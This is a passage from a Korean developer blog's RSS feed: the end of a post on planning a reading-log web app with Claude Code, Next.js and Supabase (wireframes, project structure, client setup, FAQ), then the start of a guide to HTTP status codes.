&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;와이어프레임 — AI로 화면 구조 잡기&lt;/h2&gt;
&lt;p&gt;디자이너 없이 화면을 설계해야 하는 1인 개발자에게, &lt;strong&gt;텍스트 기반 와이어프레임&lt;/strong&gt;은 매우 실용적인 방법입니다.&lt;/p&gt;
&lt;h3&gt;와이어프레임 생성 프롬프트&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;독서 기록 웹앱의 주요 화면 와이어프레임을 텍스트로 만들어줘.

필요한 화면:
1. 대시보드 (내 독서 목록)
2. 책 상세 페이지
3. 책 등록 페이지 (ISBN 검색)
4. 메모 작성 페이지

각 화면에 포함할 것:
- 레이아웃 구조 (ASCII 아트)
- 필요한 컴포넌트 목록
- 사용자 인터랙션 흐름&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;대시보드 와이어프레임&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;┌─────────────────────────────────────────────────┐
│  [Logo] BookLog        [검색]    [프로필 아바타] │
├─────────────────────────────────────────────────┤
│                                                  │
│  ┌─ 탭 ──────────────────────────────────────┐  │
│  │ [읽는 중 (3)]  [완료 (12)]  [읽고 싶은 (5)]│  │
│  └───────────────────────────────────────────┘  │
│                                                  │
│  ┌─────────┐  ┌─────────┐  ┌─────────┐         │
│  │ [커버]  │  │ [커버]  │  │ [커버]  │         │
│  │ 제목    │  │ 제목    │  │ 제목    │         │
│  │ 저자    │  │ 저자    │  │ 저자    │         │
│  │ ★★★★☆ │  │ ★★★☆☆ │  │         │         │
│  │ 메모 3  │  │ 메모 1  │  │ [등록]  │         │
│  └─────────┘  └─────────┘  └─────────┘         │
│                                                  │
│              [+ 새 책 등록]                      │
│                                                  │
├─────────────────────────────────────────────────┤
│  올해 읽은 책: 12권 / 목표 24권  [████░░] 50%   │
└─────────────────────────────────────────────────┘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 와이어프레임을 기반으로 실제 UI를 구현할 때, Claude Code에게 &quot;&lt;strong&gt;이 와이어프레임대로 Tailwind CSS로 구현해줘&lt;/strong&gt;&quot;라고 요청하면 꽤 정확한 결과를 얻을 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;기술 스택 선정 — Next.js + Supabase + Vercel 조합의 이유&lt;/h2&gt;
&lt;p&gt;1인 개발자에게 기술 스택 선택은 &lt;strong&gt;생산성&lt;/strong&gt;이 최우선입니다. 화려한 스택보다 &lt;strong&gt;빠르게 만들고, 쉽게 배포하고, 저렴하게 운영&lt;/strong&gt;할 수 있는 조합이 중요합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;레이어&lt;/th&gt;
&lt;th&gt;선택&lt;/th&gt;
&lt;th&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;프론트엔드&lt;/td&gt;
&lt;td&gt;Next.js (App Router)&lt;/td&gt;
&lt;td&gt;React 생태계, SSR/SSG 지원, Vercel 최적화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;백엔드/DB&lt;/td&gt;
&lt;td&gt;Supabase&lt;/td&gt;
&lt;td&gt;PostgreSQL + Auth + Storage + Realtime 올인원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;스타일링&lt;/td&gt;
&lt;td&gt;Tailwind CSS&lt;/td&gt;
&lt;td&gt;유틸리티 기반, AI가 생성하기 쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;배포&lt;/td&gt;
&lt;td&gt;Vercel&lt;/td&gt;
&lt;td&gt;Git push로 자동 배포, 무료 플랜 충분&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI 개발 도구&lt;/td&gt;
&lt;td&gt;Claude Code&lt;/td&gt;
&lt;td&gt;코드 생성, 리팩토링, 디버깅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;왜 Supabase인가?&lt;/h3&gt;
&lt;p&gt;솔직히 말하면, Firebase도 좋은 선택입니다. 하지만 Supabase를 선택한 이유는 세 가지입니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;PostgreSQL&lt;/strong&gt; — 관계형 DB의 강력함 (JOIN, 트랜잭션)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RLS&lt;/strong&gt; — 별도 백엔드 서버 없이 보안 처리 가능&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;무료 플랜&lt;/strong&gt; — 사이드 프로젝트에 충분한 무료 티어 (500MB DB, 1GB Storage)&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;프로젝트 구조 생성 — Claude Code로 보일러플레이트 자동 생성&lt;/h2&gt;
&lt;h3&gt;프로젝트 구조 생성 프롬프트&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Next.js 14 (App Router) + Supabase + Tailwind CSS 프로젝트 구조를 만들어줘.

구조 규칙:
- app/ 디렉토리 사용 (App Router)
- 컴포넌트는 components/ 하위에 기능별로 분류
- Supabase 클라이언트는 lib/supabase.ts
- 타입 정의는 types/
- 서비스 로직은 services/

기능:
- 인증 (로그인/회원가입)
- 책 관리 (검색, 등록)
- 독서 기록 (CRUD)
- 메모 (CRUD)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Claude Code가 생성한 프로젝트 구조&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;book-log/
├── app/
│   ├── layout.tsx              # 루트 레이아웃
│   ├── page.tsx                # 랜딩 페이지
│   ├── globals.css
│   ├── (auth)/
│   │   ├── login/page.tsx      # 로그인
│   │   └── callback/route.ts   # OAuth 콜백
│   ├── (main)/
│   │   ├── layout.tsx          # 인증된 사용자 레이아웃
│   │   ├── dashboard/page.tsx  # 대시보드
│   │   ├── books/
│   │   │   ├── page.tsx        # 책 검색/등록
│   │   │   └── [id]/page.tsx   # 책 상세
│   │   └── memos/
│   │       └── [bookId]/page.tsx # 메모 목록
│   └── api/
│       └── books/
│           └── search/route.ts  # ISBN 검색 API
├── components/
│   ├── ui/                     # 공통 UI 컴포넌트
│   │   ├── Button.tsx
│   │   ├── Input.tsx
│   │   ├── Card.tsx
│   │   └── Modal.tsx
│   ├── auth/
│   │   └── AuthButton.tsx
│   ├── books/
│   │   ├── BookCard.tsx
│   │   ├── BookSearch.tsx
│   │   └── BookList.tsx
│   ├── records/
│   │   ├── StatusBadge.tsx
│   │   └── RecordForm.tsx
│   └── memos/
│       ├── MemoCard.tsx
│       └── MemoEditor.tsx
├── lib/
│   ├── supabase.ts             # Supabase 클라이언트 (브라우저)
│   └── supabase-server.ts      # Supabase 클라이언트 (서버)
├── services/
│   ├── auth.ts
│   ├── books.ts
│   ├── records.ts
│   └── memos.ts
├── types/
│   └── database.ts             # DB 타입 정의
├── middleware.ts                # 인증 미들웨어
└── .env.local                  # 환경 변수&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Supabase 클라이언트 설정 코드&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// lib/supabase.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; createBrowserClient &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@supabase/ssr&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; supabase &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createBrowserClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NEXT_PUBLIC_SUPABASE_URL&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NEXT_PUBLIC_SUPABASE_ANON_KEY&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// lib/supabase-server.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; createServerClient &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@supabase/ssr&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; cookies &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/headers&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; cookieStore &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;cookies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createServerClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NEXT_PUBLIC_SUPABASE_URL&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NEXT_PUBLIC_SUPABASE_ANON_KEY&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      cookies&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;getAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; cookieStore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;setAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cookiesToSet&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          cookiesToSet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;forEach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; value&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt;
            cookieStore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; value&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;설계 단계에서 Claude Code를 잘 쓰는 팁&lt;/h2&gt;
&lt;h3&gt;CLAUDE.md 파일 활용하기&lt;/h3&gt;
&lt;p&gt;프로젝트 루트에 &lt;code class=&quot;language-text&quot;&gt;CLAUDE.md&lt;/code&gt; 파일을 만들어서 프로젝트 컨텍스트를 미리 정의해두면, Claude Code가 훨씬 일관된 결과를 생성합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;markdown&quot;&gt;&lt;pre class=&quot;language-markdown&quot;&gt;&lt;code class=&quot;language-markdown&quot;&gt;&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;#&lt;/span&gt; BookLog 프로젝트&lt;/span&gt;

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 기술 스택&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; Next.js 14 (App Router)
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; Supabase (PostgreSQL, Auth, Storage)
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; Tailwind CSS
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; TypeScript

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; 코딩 컨벤션&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 컴포넌트: PascalCase (BookCard.tsx)
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 함수/변수: camelCase
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 타입: PascalCase (interface Book)
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; 파일 구조: 기능별 분류

&lt;span class=&quot;token title important&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;##&lt;/span&gt; DB 스키마&lt;/span&gt;

&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; profiles, books, reading_records, memos
&lt;span class=&quot;token list punctuation&quot;&gt;-&lt;/span&gt; RLS 사용, auth.uid() 기반 권한 관리&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Q1. Supabase를 처음 쓰는데, RLS 설정이 어렵지 않나요?&lt;/h3&gt;
&lt;p&gt;솔직히 처음에는 헷갈립니다. 하지만 패턴이 정해져 있어서 한 번 이해하면 쉽습니다. 핵심은 &lt;code class=&quot;language-text&quot;&gt;auth.uid() = user_id&lt;/code&gt; 하나입니다. &quot;이 행의 user_id가 로그인한 사용자의 id와 같으면 허용&quot;이라는 뜻이죠. 이 포스팅의 SQL을 그대로 사용하셔도 됩니다.&lt;/p&gt;
&lt;h3&gt;Q2. ERD 설계를 AI에게 맡기면 문제가 생기지 않나요?&lt;/h3&gt;
&lt;p&gt;AI가 생성한 스키마를 &lt;strong&gt;그대로 프로덕션에 쓰면&lt;/strong&gt; 문제가 될 수 있습니다. 하지만 초기 설계의 출발점으로는 훌륭합니다. 중요한 건 생성된 스키마를 &lt;strong&gt;직접 검토&lt;/strong&gt;하는 것입니다. 특히 인덱스, 제약 조건, 데이터 타입은 반드시 확인하세요.&lt;/p&gt;
&lt;h3&gt;Q3. 와이어프레임을 텍스트로 만드는 게 Figma보다 나은가요?&lt;/h3&gt;
&lt;p&gt;&quot;나은가&quot;보다는 &quot;빠른가&quot;의 문제입니다. Figma로 완성도 높은 디자인을 만들 수 있지만, 1인 개발자에게 그 시간은 사치일 수 있습니다. 텍스트 와이어프레임으로 &lt;strong&gt;구조를 먼저 잡고&lt;/strong&gt;, 필요하면 나중에 Figma로 다듬는 순서를 추천합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;여러분은 사이드 프로젝트 설계할 때 어떤 도구를 쓰고 계신가요? 댓글로 공유해주세요!&lt;/p&gt;
&lt;p&gt;다음 포스팅에서는 &quot;&lt;strong&gt;AI로 풀스택 개발하기 — Claude Code + Supabase 실전&lt;/strong&gt;&quot;을 주제로, 실제 코드를 작성하며 웹앱을 완성하는 과정을 다뤄보겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[HTTP 응답 코드 완전 정리 — 개발자가 반드시 알아야 할 상태 코드 가이드]]></title><description><![CDATA[HTTP 응답 코드 완전 정리 — 개발자가 반드시 알아야 할 상태 코드 가이드 안녕하세요, 자바파커입니다. "API에서 에러가 났는데 500만 던지고 있습니다. 어떤 코드를 써야 하나요?" 솔직히 개발 초반에는 200(성공)과 50…]]></description><link>https://blog.javapark.kr/http-status-codes-guide/</link><guid isPermaLink="false">https://blog.javapark.kr/http-status-codes-guide/</guid><pubDate>Sat, 04 Apr 2026 09:30:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/http-status-codes-guide.png&quot; alt=&quot;HTTP 응답 코드 완전 정리 — 개발자가 반드시 알아야 할 상태 코드 가이드&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;API에서 에러가 났는데 500만 던지고 있습니다. 어떤 코드를 써야 하나요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;솔직히 개발 초반에는 200(성공)과 500(에러), 이 두 개만 쓰는 경우가 많습니다. 하지만 적절한 상태 코드를 사용하면 &lt;strong&gt;프론트엔드가 에러를 자동으로 처리&lt;/strong&gt;할 수 있고, &lt;strong&gt;디버깅 시간이 절반으로&lt;/strong&gt; 줄어듭니다.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;실무에서 자주 쓰는 코드는 15개 정도&lt;/strong&gt;입니다. 오늘은 전체 구조를 훑은 뒤, 실무에서 꼭 알아야 할 코드를 중심으로 정리하겠습니다.&lt;/p&gt;
&lt;p&gt;글보다 그림이 빠른 분을 위해 &lt;strong&gt;1분 30초짜리 영상으로도 정리했습니다.&lt;/strong&gt; 첫 자리로 갈리는 네 갈래와, 헷갈리는 401/403 · 502/504를 움직이는 그림으로 보여드립니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/shorts/m2HBIlo7ycY&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 52.55813953488372%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACA0lEQVR42n2SS2/TQBSFvamaxm97xm8ntmPP2J7YSZ2keTgNoQ8oqlJVQRUsCixASkEqoQjx2iEWZcUiEoKfi0tI6Arp6M4Zjb57RrqX4pXo/5K0FBot3ewZVm5YA9XoyFpDUOPiieKL40ZkZVa6BStaWzMKcmxYI9Xsy3pbUBPuBnb7ErknkkNJIwAgASCOd3nJX8OCkoheRw3zSnTHwkOx0qSNsAw9FmCqdHe2dTQv7b8sjV/Qpx+Z4RPm6JJtTTmAivyiPacQsZqCsKWSHSFIym6w6bgbIqClGoWefbUnc//hO/z8Wrn4Qe9fMCfv2fycA3iZzEIs1nJIDnQylsMhiIcs6m0qNVquUW+vPsxmbz5/+nL97TvZHm+wrlBgcrD+NgMjoxp7OAlI5kapEycmDjnNLoOAejr9eX766+x48Xi6ODtZhOmjslEXjMYapmHkOH4WuVnsZ3WvWfcipCmGugUQlXfn3c6rweCq03/d6l/aZMLYGW+3eD35m6xEmop83YscjCt+zXR9uwZUpwwRJeORGAzEaJcle7BxIDQe2O2JFo44I10OjIFYUjBQAkktDJK1sLhywGcKWNATodoR/VyM9sTkvkAOBTTi3S5vbS9hDkYMwPQfMataiIMhJVfbwOvJaBeQfS07NtsTORxzzg5vNW+vyr+xqzEwU2g1C/MbwLhhmew7GbsAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/fd57a65e1dba70b7ebb7295ef7088c56/a1b3b/video-thumb.webp 215w,
/static/fd57a65e1dba70b7ebb7295ef7088c56/fc700/video-thumb.webp 430w,
/static/fd57a65e1dba70b7ebb7295ef7088c56/521f7/video-thumb.webp 860w,
/static/fd57a65e1dba70b7ebb7295ef7088c56/cbd37/video-thumb.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/fd57a65e1dba70b7ebb7295ef7088c56/f7886/video-thumb.png 215w,
/static/fd57a65e1dba70b7ebb7295ef7088c56/bc750/video-thumb.png 430w,
/static/fd57a65e1dba70b7ebb7295ef7088c56/3e3fe/video-thumb.png 860w,
/static/fd57a65e1dba70b7ebb7295ef7088c56/64756/video-thumb.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/fd57a65e1dba70b7ebb7295ef7088c56/3e3fe/video-thumb.png&apos; alt=&apos;HTTP 응답 코드 영상 — 2xx 성공, 3xx 이동, 4xx 요청 잘못, 5xx 서버 잘못&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;HTTP 응답 코드 영상 — 2xx 성공, 3xx 이동, 4xx 요청 잘못, 5xx 서버 잘못&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;HTTP 응답 코드 구조 — 첫 숫자가 핵심&lt;/h2&gt;
&lt;p&gt;HTTP 상태 코드는 &lt;strong&gt;3자리 숫자&lt;/strong&gt;이고, 첫 번째 숫자가 응답의 종류를 결정합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;범위&lt;/th&gt;
&lt;th&gt;분류&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;th&gt;비유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;1xx&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;정보&lt;/td&gt;
&lt;td&gt;&quot;알겠습니다, 계속하세요&quot;&lt;/td&gt;
&lt;td&gt;전화 연결 중 &quot;잠시만요&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2xx&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;성공&lt;/td&gt;
&lt;td&gt;&quot;요청을 정상 처리했습니다&quot;&lt;/td&gt;
&lt;td&gt;&quot;주문 완료되었습니다&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;3xx&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;리다이렉션&lt;/td&gt;
&lt;td&gt;&quot;다른 곳으로 가세요&quot;&lt;/td&gt;
&lt;td&gt;&quot;매장이 이전했습니다&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4xx&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;클라이언트 에러&lt;/td&gt;
&lt;td&gt;&quot;당신의 요청에 문제가 있습니다&quot;&lt;/td&gt;
&lt;td&gt;&quot;주문서를 잘못 작성하셨습니다&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;5xx&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;서버 에러&lt;/td&gt;
&lt;td&gt;&quot;서버에서 문제가 발생했습니다&quot;&lt;/td&gt;
&lt;td&gt;&quot;주방에서 불이 났습니다&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;핵심:&lt;/strong&gt; 4xx는 &lt;strong&gt;클라이언트(요청자)의 잘못&lt;/strong&gt;, 5xx는 &lt;strong&gt;서버의 잘못&lt;/strong&gt;입니다. 이 구분을 명확히 하는 것만으로도 디버깅 시간이 크게 줄어듭니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;1xx — 정보 응답&lt;/h2&gt;
&lt;p&gt;실무에서 직접 다룰 일은 거의 없지만, 알아두면 로그 분석 시 도움이 됩니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;코드&lt;/th&gt;
&lt;th&gt;이름&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;100&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Continue&lt;/td&gt;
&lt;td&gt;요청 헤더를 받았으니 본문을 보내도 됩니다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;101&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Switching Protocols&lt;/td&gt;
&lt;td&gt;WebSocket 전환 시 사용&lt;/td&gt;
&lt;/tr&gt;
